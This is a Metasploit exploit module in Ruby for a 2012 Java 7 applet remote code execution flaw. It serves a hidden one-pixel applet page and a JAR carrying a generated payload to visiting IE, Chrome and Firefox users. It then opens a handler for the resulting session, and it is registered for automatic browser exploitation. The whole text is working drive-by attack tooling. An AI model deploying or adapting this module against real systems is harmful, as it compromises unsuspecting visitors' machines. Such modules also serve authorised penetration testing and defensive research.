Java 7 Applet – Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java 7 Applet Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in Java 7, which allows an attacker to run arbitrary Java code outside the sandbox. This flaw is also being exploited in the wild, and there is no patch from Oracle at this point. The exploit has been tested to work against: IE, Chrome and Firefox across different platforms. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability Discovery 'jduck', # metasploit module 'sinn3r', # metasploit module 'juan vazquez', # metasploit module ], 'References' => [ #[ 'CVE', '' ], #[ 'OSVDB', '' ], [ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ], [ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ] ], 'Platform' => [ 'java', 'win', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, } ], [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 26 2012' )) end def on_request_uri( cli, request ) if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect(cli, get_resource() + '/', '') return end print_status("#{self.name} handling request") send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) return end paths = [ [ "Exploit.class" ] ] p = regenerate_payload(cli) jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| full = path[0,idx].join("/") + "/" if !(jar.entries.map{|e|e.name}.include?(full)) jar.add_file(full, '') end end fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-XXXX", path ), "rb") data = fd.read(fd.stat.size) jar.add_file(path.join("/"), data) fd.close end print_status("Sending Applet.jar") send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html html = "<html><head></head>" html += "<body>" html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">" html += "</applet></body></html>" return html end end |